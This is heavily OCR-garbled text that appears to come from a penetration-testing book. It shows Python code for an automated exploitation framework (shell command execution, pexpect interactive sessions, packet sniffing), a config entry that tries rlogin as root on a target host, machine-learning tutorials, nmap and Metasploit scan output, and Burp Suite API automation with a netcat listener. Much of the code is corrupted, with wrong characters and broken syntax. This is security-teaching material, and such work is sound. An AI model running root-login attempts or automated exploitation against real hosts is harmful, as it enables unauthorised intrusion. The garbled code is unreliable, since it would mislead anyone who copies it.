status=self.IPexploitObj.Update(self.project_id,self.current_record_id,self.command_id,commands,result,False)
if (status==1):

self.print_Log_info( "Details Updated successfully”)

print "Details Updated successfully”
else:

self.print_Log_1info( "Details Update Failed")

self.print_Log( "Details Update Failed")

print("Details Update Failed")

def singleLineCommands_Timeout(self,arg,grep_commands=None):
self.method_id="Execute_Single_line_timeout()"
commands_executed=[]
commands_executed.append(arg[1])
if grep_commands ==None:
thread = threading.Thread(target=self.execute_singleLine,args=(arg[1],)) .

else:
thread = threading.Thread(target=self.execute_singleLine,args=(arg[1],False,grep_commands)) .
thread.start()
timeout=int(arg[o])
thread. join{timeout)
self.method_id="Execute_Single_line_timeout()"
if thread.is_alive():
self.print_Log_info( 'Terminating process')
try:
process = psutil.Process(self.process.pid)
for proc in process.children(recursive=True):
self.print_Log_info( "Killing Process with id -->"+str(proc))
try:
g self.Kill=True
proc. kill({)
time.sleep(l)
except Exception ,ew:
print({"Exception while killing :"+str{ew))
self.print_Log_info( "Killed Process with id --="+str(proc))

try:
process = psutil.Process(self.process.pid)
if process:
self.Kill=True
self.process. kill()
thread. join{co)
commands_executed. append('Process killed--.timeout’)
except:

self.print_Log("Parent Process already KIlled")
self.print_Log_info( "Kill result is --= "+str(self.process.returncode))
exploit_result="Command Executed :"+commands_executed[8]+"\n"
exploit_result=exploit_result+"\nResult:\n"+str(commands_executed[len(commands_executed)-1])
except Exception ,ee:
self.print_Error{ "Exception in killing process --> "+str(self.process.returncode) +str(ee))
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def execute_singlelLine(self,cmd,result_=False,grep_commands=None)

try:
commands_executed=[ ]
exploit_result=""
self.print_Log_1info('Thread started --with command '+str(ecmd))
commands_executed.append(cmd+" ")
polling_elements=[]
elements={}

output=""
. self.process=subprocess.Popen{cmnd,shell=True,stderr=subprocess.5TDOUT,stdout=subprocess.PIPE)
(output, err)=self.process.communicate()
result = chardet.detect{output)
charenc = result['encoding’]
if (charenc is not None):
outputsoutput.decode(charenc).encode( 'ascii','replace’)
if err is not HNone:
err=err.decode(charenc).encode( ascii’, 'replace’')
else:
err=""
if self.Kill:
self.Kill=False
err=err+"Killedg”
commands_executed. append(strioutput)+"\n"+strierr)+"\n"})
parent_output=str(output)
exploit_result="Command Executed :"+commands_executed[8]+"\n"
exploit_result=exploit_result+"\nResult"+str{commands_executed[len{commands_executed)-1]) .
commands_executed[ len{commands_executed)-1]="\nEnd"
self.print_Log( "Thread finished')
self.print_Log_info{ 'Thread finished')
if(result_==False):
self.saveDetalls((str{commands_executed)),exploit_result)
var=o
else:
self.general_op=(str{output)+"\n"+strierr)+"\n")

except Exception ,e :
self.print_Error( "Exception in thread " +str(e))
self.print_Error_info( "Exception in thread " +str(e))
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def general_interactive(self,args):
try:
4 self.method_id="General_Interactive()"

self.print_Log_info({"Starting Interactive Session with command --= "+str{args[1]) +" and timeout " +str{args[6]))

cmd=args[1]

timeout=args[a]

child=pexpect.spawn{cmd)

commands_executed=[]

commands_executed.append{cmd+"\n")

exploit_result=""

for i in range(2,len(args),2?):
arg_list=[]
check_list=[]
arg_list=list(args[i])
check_list=arg_list.pop(0).split(’',")
count=len{arg_list)-1

. arg_list.append(pexpect.TIMEOUT)
check_list.append(str{count+1))
arg_list.append(pexpect.EOF)
check_list.append(stricount+2))|
j=child.expect{arg_list,120)
commands_executed.append(str{str(child.before)+"\n\nConsole is MWow expecting :"+str(arg_list[j]}+"\n\n
\nActual Output by console \n:"+str(child.after)+"\n\n").replace("<class 'pexpect.EOF'=","Console Ended").replace("<class
'pexpect.exceptions.TIMEOUT'>","Time out").replace("<class 'pexpect.exceptions.EOF'=","Console Ended")‘

time.sleep(4)
. if(str(j) in check_list):
self.print_Log{"Before :"+str{child.before) + "\n" + "After : "+strichild.after)+" j is "+str{j) )
if((i+1)<len(args)):
child.sendline(args[i+1])
commands_executed.append(” ting on console : "+args[i+1]+"\n")
time.sleep(?)
continue;
else;
self.print_Log("Results not as expected --> see aurguments " +str{j) +striarg_list[j]) +"\n"+str
(child.before) + " " + strichild.after))
self.print_Log_info("Results not as expected --> see aurguments ")
break
exploit_result="Command Executed :"+commands_executed[o]+"\n"
. exploit_result=zexploit_result+"\nOutput\n"+str{commands_executed[ Len(commands_executed)-1])
self.SaveDetails(str(commands_executed).exploit _result)
child.sendcontrol('z")
child.sendcontrol{'c")
child.close(force=True)
self.print_Log_info("Exiting General_interactive()")

except Exception ,e:
self.print_Error{"Exception general interactive " +str(e))
self.print_Error_info{"Exception general interactive " +str(e))
self.print Error("Closing Child now 11")

"Login"™: {
“"Commands™: [
**args'™: [
300",
“rlogin -1 root <host>",

[

=g, 1",
", *password: .,*",
"I, #1M,
".*No route to host.*"
]l
“root', |
[ I
=g, 1",
", *password: .*",
“I$,#1M,
".*No route to host.*"
1
]l
idT: ulogin_l u'
"include'™: true,
“"method"™: "general interactive",
“"title": "Rlogin with root by rlogin client --> rlogin -1 root IP"
}s
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Hef generalCommands_Tout_sniff(self,arg,interactive=False): #note see the methods which inoke other methods
try:
y cnnnands_executed:[]
exploit_result
self.method_id="General_conmands_Timeout_sniff{)"
commands_executed.append('starting sniffing')
thread = threading.Thread(target=self.start_sniffing,args=("ethe","ze0",))
thread.start()
time.sleep(2)
if (interactive==False):
self.singleLineComnands_Timeout({arg)

else:
self.general_interactive(arg)
self.method_id="General_Conmands_Timeout_sniff(}"
if thread.is_alive():
self.print_Log_info('Terminating Sniffing process')
try:
process = psutil.Process(self.process_sniff.pid)
for proc im process.children{recursive=True):
print "Killing Process with id -->"+str{proc)
try:
proc.kill()
except Exception ,ew:
print("Exception while killing :"+strew))

try:
process = psutil.Process(self.process_sniff.pid)
if process:
self.process_sniff.kill()
thread. join(cg)
except:

self.print_Log("Parent process already killed:")
commands_executed.append('Finished sniffing--=Details are in pcap file')
exploit_result="Command Executed :"+commands_executed[o8]+"\n"
exploit_result=exploit_result+"\nResult:\n"+str(commands_executed[len(commands_executed)-1])
except Exception ,ee:
self.print_Error("Exception in killing process --> "+str{self.process_sniff.returncode) +str(ee))
self.print_Log_info("Exiting general_commands_tout_sniff(}")
except Exception ,e:
self.print_Error("Exception in SingleLineCommands_Tout" +str{e))

def start_sniffing(self,interface,timeout):
try:

self.print_Log_ tnfa("lN start_sniffing() method")
cmd="tshark -f 'port "+ str(self.current _port) +" and host "+ str(self.current_host) + "' -i "+str{interface)+" -a
duration:"+str(timeout)+” -w "+ os.path.join(self.data_path, str{sel.f project_id)+"_"+str{self.current_hest)+"_"+str(self.current_port)
+"_capture-output.pcap")
commands_executed=[]
expleit_result=""
commands_executed. append(cmd+"\n")
. self.process_sniff=subprocess.Popen(cnd,shell=True,stderr=subprocess.PIPE,stdout=subprocess.PIPE)
(output, err)=self.process_sniff.communicate()
commands_executed.append(str(output)+"\n"+str(err)+"\n")
exploit_result="Command Executed :"+commands_executed[6]+"\n"
explolt_result=explolt_result+"\nResult:\n"+str(commands_executed[len(commands_executed)-1])
self.print_Log_info("Exiting Start_sniffing() method")
except Exception ,e:
self.print_Log_info("Exception while sniffing !!"+str(e))
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def http_based(self,args):
try:
commands_executed=[]
explolt_result=’
self.method_id="Http_based()
self.print_Log("Inside HttpBased()")
self.print_Log_info("Inside HttpBased()}")
self.print_Log("Args are : "+str(args[@]))
commands_executed.append( 'requests.get({'+str{args[8])+')")
(i\]respunse = requests.get(str(args[a]))]
= self.print_Log( "Status code is : "+str(response.status_code))
self.print_Log_info( "Status code is : "+str{response.status_code))
(;Eﬁ html = response.text
= commands_executed.append("http-response” +str(html))
file_ = open('response.html', "w+')
file_.write(html.encode( ' utfa'})
file_.close()
exploit_result="Command Executed :"+commands_executed[a]+"\n"
exploit_result=exploit_result+"\nResult\n"+str{commands_executed[len(commands_executed)-1])
1f.5aveDetails(str{commands_executed),exploit_result)
1f.print_Log_info("Exiting HttpBased()")

except Exception ,ee:
self.print_Error{ "Exception Http_based " +str(ee))
self.print_Error_infe{ "Exception Http_based " #+str{ee))

int(11)
int(11)
Host varchar (100)
Port varchar (100)

Service varchar (100)

project_status varchar (30)

Exploits Jjson
service_type varchar (100)
read_init_status varchar (50)
read_final status varchar (50)
State varchar (20)
Version varchar (100)

test_case_executed varchar (20)
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Chapter 7: Machine Learning and

Cybersecurity
Simple Linear Regression: +
Salary ($)
1 | . A Yi
1 //
+ T +
& + ~ 2 .
- SUM (y - y )? -> min
Experience
Salary vs Experience (Training Set)
120000 -
> 100000
& 80000
60000
40000 7
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Salary vs Experience (Training Set)
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% import numpy as np
18 import matplotlib.pyplot as plt
11 import pandas as pd

-

14 dataset = pd.read_csv('5alary Data.csv')
15 X = dataset.iloc[:, :-1].values
16 y = dataset.iloc[:, 1].volues

19 from sklearn.cross_validation import train_test_split

28 X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = @)
21

23 ""“from sklearn.preprocessing import StandardScaler

24 s5c_X = Standardsc aler()

25 X_train = sc_X.fit_transform(X_train)
26 X_test = sc_M.transform(X¥_test)

27 sc_y = StandardScaler()

2k .'_"ni" = ‘u._'.-'.r'.t_l."d""fll'fl'.-'_'."ﬂ:.rl:lh
.E:

38

i1 from sklearn, linear_model import LinearRegression
32 regressor=LinearRegression()

33 regressor. Tit(X train,y_train)

34

36 y_pred=regressor.predict(X_test)
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A B C O E

1 |R&D Séend _lﬁ.dministration Marketing Spend State Profit

2 165349.2 136897.8 471784.1 New York 192261.83
3 162597.7 151377.59 443898.53 California 191792.06
4 153441.51 101145.55 407934.54 Florida 191050.33
3 144372.41 118671.85 383199.62 New York 182901.99
] 142107.34 91391.77 366168.42 Florida 166187.94
7 131876.9 99814.71 362861.36 New York 156991.12
8 134615.46 147198.87 127716.82 California 156122.51
9 130298.13 145530.06 323876.68 Florida 155752.6
10 120542.52 148718.95 311613.29 New York 152211.77
11 123334.88 108679.17 304981.62 California 149759.96
12 101913.08 110594.11 229160.95 Florida 146121.95
12 100671.96 91790.61 249744.55 California 144259.4
14 93863.75 127320.28 249839.44 Florida 141585.52
15 91992.39 135495.07 252664.93 California 134307.35
16 119943.24 156547.42 256512.92 Florida 132602.65
17 114523.61 122616.84 261776.23 New York 129917.04
18 78013.11 121597.55 264346.06 California 126992.93
19 94657.16 145077.58 282574.31 New York 125370.37
20 91749.16 114175.73 294319.57 Florida 124266.9
21 80419.7 153514.11 0 Mew York 122776.86
22 76253.80 113867.3 298664.47 California 118474.03
23 78389.47 153773.43 299737.29 New York 111313.02
24 73994.56 122782.75 303319.26 Florida 110352.25
25 67532.53 105751.03 304768.73 Florida 108733.99
M 4 » M| 50 Startups < ¥J
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y = by * b))

Dependent variable (DV) Independent variables (IVs)

Multiple / / / \

Linear =bs+t b + b+ ..+ D.*X
o y 0 1 X 2 X2 n Xn

5 methods of building models:
1. All-in

2. Backward Elimination Stepwise
3. Forward Selection Re pression
4. Bidirectional Elimination 9

5. Score Comparison
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Building A Model
r—
Backward Elimination - .

STEP 1: Select a significance level to stay in the model (e.g. SL = 0.05)

¥

STEP 2: Fit the full model with all possible predictors

¥

STEP 3: Consider the predictor with the highest P-value. If P > SL, go to STEP 4, otherwise go to FIN

¥

STEP 4: Remove the predictor

e

STEP 5: Fit model without this variable* FIN: Your Model Is Ready

def backwardElimination(x_,y_,s1):
try:
num_ind_var=len(x_[&])
for 1 in range(@,num_ind war}:
regressor_OLS=sm.OLS(y_,x_).Tit()
p_max=max{regressor_0OLS.pvalues).astype(float)
if p_max » sl:

for j in range(@,num_ind_var -i):
if (regressor_OLS.pvalues[j].astype(float) == p_max) :
®x_=np.delete(arr=x,j,axis=1)
regressor_OLS.summary ()
except Exception as ex:
print (striex))

SL = @.85
¥ _opt = X[:, [8, 1, 2, 3, 4, 5]]
¥ _Modeled = backwardElimination(X_opt,y, 5L)

[132]



import numpy as np
import matplotlib.pyplot as plt
import pandas as pd

dataset = pd.read_csv('5@_Startups.csv')
X = dataset.iloc[:, :-1].wvalues
y = dataset.iloc[:, 4].wvalues

from sklearn.preprocessing import LabelEncoder, OneHotEncoder
labelencoder_X = LabelEncoder()

X[:, 3] = labelencoder_X.fit_transform(X[:, 3])

onehotencoder = OneHotEncoder({categorical features = [3])

X = onehotencoder.fit_transform(X).toarray()

X=X[:,1:]

from sklearn.cross_validation import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 8.2, random_state = @)

from sklearn.linear _model import LinearRegression
regressor=LinearRegression()
regressor.fit(X _train,y train)

"""from sklearn.preprocessing import StandardScaler

sc_X = StandardScaler()

X_train = sc_X.fit_transform(X_train)
X_test = sc_X.transform(X_test)

sC_y =

standardscaler()
y_train = sc_y.fit_transform(y_train)

+
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4.59
N2 Value .00
X1 Value

Poini 23

¥: 3.83

X1 Valwe: -1.72
X2 Value: 3.25

P(B|A) = P(A)
P(B)

P(A|B) =
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Drives
N 2
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¢ * @ . s ®
$ ¢ T @ 4
walks ¥ &
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>
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Posterior Probability H Likelihood m Prior Probability

\

P(Walks|X) =

| /

P(X|Walks) x P(Walks)

P(X)

E Marginal Likelihood
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Posterior Probability H leeIIood E 7Probability
\ P(X|Drives) * P(Drives
P(Drives|X) = (X sz) ( )

E Marginal Likelihood

H Posterior Probability E LikelIOOd m Prior Probability
\ _ P(X|Walks) = P(Walks)
P(Walks|X) = P

H Marginal Likelihood
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import numpy as np
import matpleotlib.pyplot as plt
import pandas as pd

dataset = pd.read_csv('Social Network Ads.cswv')
X = dataset.iloc[:, [2, 3]].values
y = dataset.iloc[:, 4].values

from sklearn.cross_validation impert train_test_split
¥_train, X_test, y _train, y_test = train_test split(X, vy, test_size = 8.25, random_state = @)

from sklearn.preprocessing import StandardScaler
sc = StandardScaler()

¥_train = sc.fit_transform(X_train)

¥_test = sc.transform{X_test)

from sklearn.naive bayes import GaussianNB
classifier = GaussianNB(ﬂ
classifier.fit(X_train, y_train)

y_pred = classifier.predict(X_test)

from sklearn.metrics import confusion_matrix
cm = confusion matrix(y test, y pred)
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Review Liked

Wow... Loved this place. 1
Crust is not good. 0
Not tasty and the texture was just nasty. o

Stopped by during the late May bank holiday off Rick Steve recommendation and loved it. 1
The selection on the menu was great and so were the prices. 1
Now I am getting angry and I want my damn pho. O

Honeslty it didn't taste THAT fresh.) 5]

The potatoes were like rubber and you could tell they had been made up ahead of time being kept under a warmer. 0
The fries were great too. 1

A great touch. 1

Service was wvery prompt. 1

Would mot go back. 0O

The cashier had no care what so ever on what I had to say it =still ended up being wayyy overpriced. 0
I tried the Cape Cod rawvoli, chicken, with cranberry...mmmm! 1
I was disgusted because I was pretty sure that was human hair. 0
I was shocked because no signs indicate cash only. 0

Highly recommended. 1

Waitress was a little slow in service. 0O

This place is not worth your time, let alone Vegas. 0

did not 1like at all. 4]

The Burrittos Elah! 0

The food, amazing. 1

Service is also cute. 1

import numpy as np
import matplotlib.pyplot as plt
import pandas as pd

dataset = pd.read_csv('Restaurant_Revie , delimiter =

B8 dataset - DataFrame

- -

nder Review Liked -
e Wouw... Loved this place. 1 _‘
1 |Crust is not good. a

2 Not tasty and the texture was just nasty. e

3 Stopped by during the late May bank holiday off Rick Steve recommendation and loved it. 1

4 The selection on the menu was great and so were the prices. 1

5 |Mow I am getting angry and I want my damn pho. a

6 Honeslty it didn't taste THAT fresh.) a

7 |The potatoes were like rubber and you could tell they had been made up ahead of time being kept under a warmer. a

3 The fries were great too. 1

9 A great touch. 1

18 |Service was very prompt. 1

11 |Would not go back. L)

12 |The cashier had no care what so ever on what I had to say it still ended up being wayyy overpriced. a

13 |I tried the Cape Cod ravoli, chicken, with cranberry...mmmm! 1
Badckground color Column min/max

In [2]: dataset['Review'][8]
Dutl2]: 'Wow... Loved this place.’
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import re
review = re.sub('[*~a-zA-2Z]', ' ', dataset['Review'][0@])

import nltk
nltk.download( ' stopwords')

import re

import nltk

nltk.download( ' stopwords")

from nltk.corpus import stopwords

review = re.subl'[*a-za-2Z]"', ' ', dataset['Review'][8])

review = review.lower()

review = review.split()

review = [word for word in review if not word in set{stopwords.words('english')})]
# Importing the libraries

import numpy as np
import matplotlib.pyplot as plt
import pandas as pd

dataset = pd,read_csv('Restaurant_Reviews,tsv', delimiter = '\t', quoting = 3)

import re

import nltk

nltk.download( 'stopwords®)

from nltk.corpus import stopwords

from nltk.stem.porter import PorterStemmer

review = re.subl('[*a-zA-Z]"', " ', dataset['Review'][@])

review = review, lower(}

review = review.split()

ps = PorterStemmer()

review = [ps.stem{word) for word in review if not word in set(stopwords.words('english'))]

[143 ]



import numpy as np
import matplotlib.pyplot as plt
import pandas as pd

dataset = pd.read_csv( Restaurant_Reviews.tsv', delimiter = "\t', quoting = 3)

import re
import nltk
nltk.download( ' stopwords')
from nltk.corpus import stopwords
from nltk.stem.porter import PorterStemmer
corpus = []
for i in range(@, 106@):
review = re.sub{'[*a-zA-Z]", " ', dataset[ 'Review'][i])
review = review.lower()
review = review.split()
ps = PorterStemmer()
review = [ps.stem(word) for word in review if not word in set(stopwords.words( 'english'}}]
review = ' '.join(review)
corpus.append(review)

5] corpus - List (1000 elements) = | B'mn dataset - DataFrame ".

Index | Type Size Value e ey Liked

8 str |1 wow love place (] Wow... Loved this place. 1

N otr |1 [ 1 |Crust is not good. 2

n tr |1 [ 2 |Not tasty and the texture was just nasty @
5 |Stopped by during the late May bank holiday off Rick Steve recommendation and loved .

3 str 1  stop late may bank holiday rick steve recommend love it.

. str |1 [ 4 |The selection on the menu was great and so were the prices. 1

5 str |1 get angri want damn pho 5 Now I am getting angry and I want my damn pho -]

6 str |1 reresital fmm Sy 6 Honeslty it didn't taste THAT fresh.) 2
5 |Tne potatoes were like rubber and you could tell they had been made up anead of time o

7 str 1 potato like rubber could tell made ahead time kept warmer being kept under a warmer

8 str |1 fri great 8 The fries were great too. 1

5 str 1 great touch B~ &rcet touch 1

10 |t |1 [EEETEEE 18 |Service was very prompt. 1
11 |Would rot go back. a

9 Format. Resize | [¥] Background color [¥] Column minjmax

from sklearn.feature_extraction.text import CountVectorizer
cv = CountVectorizer()
X = cv.fit_transform{corpus).toarray()

from sklearn.feature_extraction.text import CountVectorizer
cv = CountVectorizer(max_features = 1588)

X = cv.fit_transform{corpus).toarray()

y = dataset.iloc[:, 1].values
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ER X - NumPy array

# Splitting the dataset into the Training set and Test set
from sklearn.cross_wvalidation import train_test_split
¥_train, X_test, y_train, y_test = train_test_split(X, y, test_size = ©.28, ran

# Fitting Noive Bayes to the Training set
from sklearn.naive_bayes import GaussianNB
classifier = GaussianMB()
classifier.fit(X_train, y_train)

# Predicting the Test set results
y_pred = classifier.predict(X_test)

# Making the Confusion Matrix
from sklearn.metrics import confusion_matrix
cm = confusion_matrix(y_test, y_pred)

[145 ]




import matplotlib.pyplot as plt
import pandas as pd

dataset = pd.read_csv( 'Restaurant_Reviews.tsv', delimiter = "\t', quoting = 3)

import re
import nltk

from nltk.corpus import stopwords
from nltk.stem.porter impert PorterStemmer
corpus = []
for i in range(®, 1808):
review = re.sub{'[*a-zA-Z]', " ", dataset[ 'Review'][i])
review = review.lower()
review = review.split()
ps = PorterStemmer()
review = [ps.stem{word) for word in review if not word in set({stopwords.words('english’}})]

review = ' '.join(review)
corpus.append(review)|

from sklearn.feature_extraction.text import CountVectorizer
cv = CountVectorizer(max_features = 1588)

X = cv.fit_transform{corpus).toarray()

y = dataset.iloc[:, 1].values

from sklearn.cross_wvalidation import train_test_split
X_train, X test, y_train, y_test = train_test split(X, y, test_size = @.28, random_state = @)

from sklearn.naive_bayes import GaussianNB
classifier = GaussianNB()
classifier.fit(X_train, y_train)

y_pred = classifier.predict(X_test)

from sklearn.metrics import confusion_matrix
cm = confusion_matrix(y_test, y_pred)

EH om - NumPy array

0 1
0 55 42
1 12 91
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1 cid rid service result wvul

2 http_methods_2 20510 http : [0m [34m[*]1[0m Scanned 1 of 1 hosts (100% complete) [34m[*]1[0m Auxiliary
module execution completed [4mmsf[0m auxiliary([31moptions[Om) [Om>_0__

3 http_headers_2 20510 http : [Om [34m[*][Om Scanned 1 of 1 hosts (100% complete) [34m[*][Om Auxiliary
module execution completed [4mmsf[Om auxiliary([31lmhttp_header[Om) [0Om> O

4 http_trace_2 20510 http * Rebuilt URL to: 127.0.0.1:80/ * Trying 127.0.0.1... % Total % Received %
Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 06 0 6 0 0 0 --1--:--

Tee m=le- :=- 0% Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > TRACE / HTTP/1l.1 > Host: 127.0.0.1 >
User-Agent: curl/? 50.1 > Accept: */* > < HTTP/1.1 405 Not Allowed < Server: nginx/1.10.2 < Date: Sun, 28
May 2017 07:23:07 GMT < Content-Type: text/html < Content-Length: 173 < Connection: close <= { [173 bytes
datal] 100 173 100 173 0 0 22853 0 --: --: -- 168k * Closing connection @ <html>
<head><title>405 Not Allowed<ltit1e></head> <body bgcolo 'white'"> <center><hl1>405 Not Allowed</hl></center>
<hr><center>nginx/1.10.2</center> </body> </html>

5 http_web_dev_1 20510 http Starting Nmap 7.12 ( https://nmap.org ) at 2017-05-28 07:29 UTC Nmap scan
report for localhost (127.0.0.1) Host is up (0.00017s latency). PORT STATE SERVICE VERSION 80/tcp open http
nginx 1.10.2 |_http-server-header: nginx/1.10.2 Service detection performed. Please report any incorrect
results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds 0

6 http_web_dev_2 20510 http : [0m [34m[*]1[0m Scanned 1 of 1 hosts (100% complete) [34m[*]1[0m Auxiliary
module execution completed [4mmsf[0m auxiliary([31lmwebdav_scanner[0m) [0Om> _0

7 http_banner_1 20510 http Server: nginx/1.10.2

8 http_headers_1 20510 http Starting Nmap 7.12 I https: //nmap.org ) at 2017-05-28 07:25 UTC Nmap scan
report for localhost (127.0.0.1) Host is up (0.000049s latency). PORT STATE SERVICE VERSION 80/tcp open http
nginx 1.10.2 | http-headers: | Server: nginx/1.10.2 | Date: Sun, 28 May 2017 07:25:36 GMT | Content-Type:
text/html | Content-Length: 612 | Last-Modified: Wed, 15 Feb 2017 06:27:27 GMT | Connection: close | ETag:
"58a3f4cf-264" | Accept-Ranges: bytes | |_ (Request type: HEAD) |_http-server-header: nginx/1.10.2 Service
detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP
address (1 host up) scanned in 9.38 seconds_l_

5 numpy e

6 matplotlib.pyplot plt

7 pandas pd

8 re

9 nltk

10 nltk.corpus stopwords

11 nlLtk.stem.porter PorterStemmer

12 sklearn.cross validation train_test split
13 sklearn. feature extraction. text CountVectorizer
14 sklearn.naive bayes GaussianNB

15 sklearn.metrics confusion_matrix

16 NLP_ db

17 pickle

18 sys

19 os
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71 class NI P_PTO():

72 def start(self):

73 project_id=sys.argv[1]

74 print ("Reached here !1")

75 self.Predict_results(project_id)

76

77 def Train_test_machine(self):

78 portin t

79 folder_name:os.path.dirname(os.path.realpath(__file__))

80 dataset = pd.read_csv(os.path.join(folder_name, "tsv_results.tsv'), delimiter = '\t', quoting = 3)
81 print (len(dataset))

82

83 corpus = []

84 for i in range(0, len(dataset)):

85 review = re.sub(r"(7:[\d]{1, 3P\ (7:[NdI1{1, 3N\ (7:[\d]{1,3})N\.(?:[\d]1{1,3})"', " ',str(dataset

[‘result’'1[il))

86 review=str(dataset['cid"'][1i])+" "+str(review)

87 review=review.replace("<class ‘'pexpect.exceptions.EOF"'>","")

88 review=review.replace("End of file" )

89 review = review. lower()

90 review = review.split()

91 ps = PorterStemmer()

92 review = [ps.stem(word) for word in review if not word in set(stopwords.words('english'))]
93 review = ' ',join(review)

94 if dataset[‘'cid*][4i] 'ssl_Weak_cert_exp_Ll':

95 try:

96 index=review. index('days"')

97 if dindex != -1:

98 review=review|[: index]

99 except Exception ex:
100 pass
101 corpus. append(review)

102 cv = CountVectorizer[imax features = 7000f]

103 X = cv.fit_transform(corpus).toarray()

104 y = dataset.iloc[:, 4].values

105 X_train, X_test, y train, y_test = train_test_split(X, y, test_size = 0.20, random _state = 0)
106 where _are NaNs = isnan(y_train)

107 y_train[where_are_ NaNs] = 0

108 where_are_NaNs = isnan(y_test)

109 y_test[where_are_ NaNs] = 0

110 classifier = GaussianNB()

111 classifier.fit(X_train, y_train)

112 filename = 'Trained model.sav'

113 pickle.dump(classifier, open(os.path.join(folder_name, filename), ‘wb'))
114 pickle.dump(cv, open(os.patlh.join(folder_name, "saved vector.sav"), 'wb'))
115 y_pred = classifier.predict(X_test)

116 cm = confusion_matrix(y_test, y_pred)

117 print (str(cm))

118 result=classifier.score(X_test,y_test)

119 print (result)

120 classifier = pickle.load(open(os.path. join(folder_name, "Trained model.sav"), 'rb'))
121 y_pred = classifier.predict(X_test)

311
[[a5

0]

LP# python3.5 PTO_nlp.py

[ 5 12]]
0.920634920635

[148]



Chapter 8: Automating Web Application
Scanning - Part 1

khan@khanubantu:

r burpsuite_pro_v2.8.11lbeta. jar

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy I Intruder T Repeater I Sequencer I Decoder I Comparer I Extender T Project options T User options W

{Cnnnections I SSL TDisp\ay Misc

{g}u These settings let you configure where Burp stores its temporary files. Changes will take effect the next time Burp starts up. n

® Use default system temp directory

() Use custom location: | choose folder ...
(@ RESTAPI
P
{5}1 The REST API can be used by other toals to integrate New API key bu should read the full documentation before enabling the
service. (3) APikeys are secrets and should be handled carefully. You cannot
retrieve an existing API key from Burp after it has been created.
Once configured, you can browse the APl documentatic
N ¢ Aut t
Service URL: http://127.0.0,111337 | Change.. ame: | Automation

[ service running

) Allow access without API key (using this option is ng

| copy key to clipboard
API Keys

oK G |
New Enabled | Name ‘—J ‘ﬂj
| Edit |
| Delete »

& c o ) O
BURPSUITE a7
PROFESSIONAL Y

REST API

Verb Endpoint Parameters Response

GET knowledge_basefissue_definitions {} 200 OK, [i g 1]
POST fscan {"scan" } 201 Created, Location header
GET fscan/[task_id: String] {"after": String, "issue_events™ Integer} 200 OK, Scal
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Dashboard | Target T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options I User options 1

DB | resue actury

S Filter  Running Paused Finished 57 Filter  High Medium Low  Info Certain Firm  Tentative 9
7. Crawl and audit of 192.168.250.1 & W [A][a] [#  v[Task [Time | Action | Issue type
Default configuration lssues: e 553 9 02:49:43 11 Now 2018 Issue found i Input returned in response (reflected] A
e 552 9 02:49:43 11 Nov 2018 Issue found i Input returned in response (reflected)
— e 45428 requests (120 errors) 551 9 02:49:42 11 Nov 2018 Issue found i Input returned in response (reflected)
Paused. 53 locations crawled view details ) 550 ] 02:49:42 11 Nov 2018 Issue found i Input returned in response (reflected)
549 9 02:49:42 11 Nov 2018 Issue found i Input returned in response (reflected)
9. Crawl and audit of 192.168.250.1 WGE > 548 9 02:49:41 11 Nov 2018 Issue found i Input returned in response (reflected)
Default configuration Issues: @) 547 9 02:49:41 11 Nov 2018 Issue found i Input returned in response (reflected)
Bl | 30171 requests (30 errors) 548 9 02:49:41 11 Nov 2018 Issue found i Input retured in response (reflected)
e —— ) ) o 545 9 02:49:41 11 Nov 2018 Issue found i Input returned in response (reflected)
&k g 53 locations crawled view details 2 544 9 02:49:41 11 Nov 2018 Issue found i Input returned in response (reflected)
LYE! a N72:1Q:10 11 N 2018 Issna faund i_lnnut rabirnad in rasnansa fraflactad) X
dIEE "
Event log @ v Advisory

S Filter  critical ~ Error  Info

Time ¥ Type | source | Message
02:39:48 11 Nov 2018  Error Proxy [2] The client failed to negoa
02:34:33 11 Nov 2018 Info Task 7 Paused due to error: 10 con
02:31:48 11 Nov 2018 Error Proxy [2] The client failed to nego
02:31:42 11 Nov 2018 Error Proxy [3] The client failed to nego
02:31:26 11 Nov 2018 Error Proxy [2] The client failed to nego,
02:14:12 11 Nov 2018 Error Proxy The client failed to negatiat
02:08:47 11 Mov 2018  Error Proxy [2] The client failed to neg
02:01:06 11 Nov 2018 Info Task 2 Maximurn time exceeded in)
02:01:05 11 Nov 2018  Info Task 2 Maximum time exceeded in

LGELGLGEDLULELRATH $ nc -nlvp 8080
Listening on [0.0.0.0] (family @, port 8008)

Connection from [127.0.0.1] port 8080 [tcp/*] accepted (family 2, sport 36392)

PUT / HTTP/1.1

Host: 127.0.0.1:8000

Content-Length: 294

Accept-Encoding: gzip

{"task_id":"1@","scan_status":"crawling","scan_metrics":{"crawl_requests_made":607,"crawl_network errors":0,"crawl_reque
sts_queued":0,"audit_queue_items_completed":0,"audit_queue_items_waiting":0,"audit_requests_made":0,"audit_network_error
issue_events":0},"message”:"","issue_events":[]}khan@khanUbantu:
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Tasks (2"  Issue activity (@)ds
Y Filter  Running  Paused  Finished Y Filter  High  Medium  Low  Info Certain  Firm  Tentative 3
9. Crawl and audit of 182.168.250.1 S [AA] [#  v|Task [Time | Action | Issue type
Default configuration Issues: @ 662 10 03:01:43 11 Nov 2018  Issue found i Input returned in response (reflected]
e 661 10 03 311 Nov 2018 Issue found Cross-site scripting (reflected) 4
—_— 32303 requests (31 errors) 660 10 03 3 11 Nov 2018  Issue found i Input returned in response (reflected)
Paused, 53 locations crawled View details 659 10 03:01:40 11 Nov 2018  Issue found i Input returned in response (reflected)
658 10 03:01:40 11 Mov 2018  Issue found i Input returned in response (reflected)
10. Crawl and audit of 192,168.250.1 WSH 2 657 10 03:01:40 11 Nov 2018  Issue found i Input returned in response (reflected)
Default configuration Issues: o 656 10 03:01:40 11 Mov 2018  Issue found i Input returned in response (reflected)
[— N requests (29 errars) 655 10 03:01:40 11 Nov 2018  Issue found i Input returnad in response (reflected)
S R 654 10 03:01:39 11 Nov 2018  Issue found i Input returned in response (reflected)
9 9 53 locations crawled View details > 653 10 03:01:39 11 Nov 2018 Issue found i Input returned in response (reflacted)
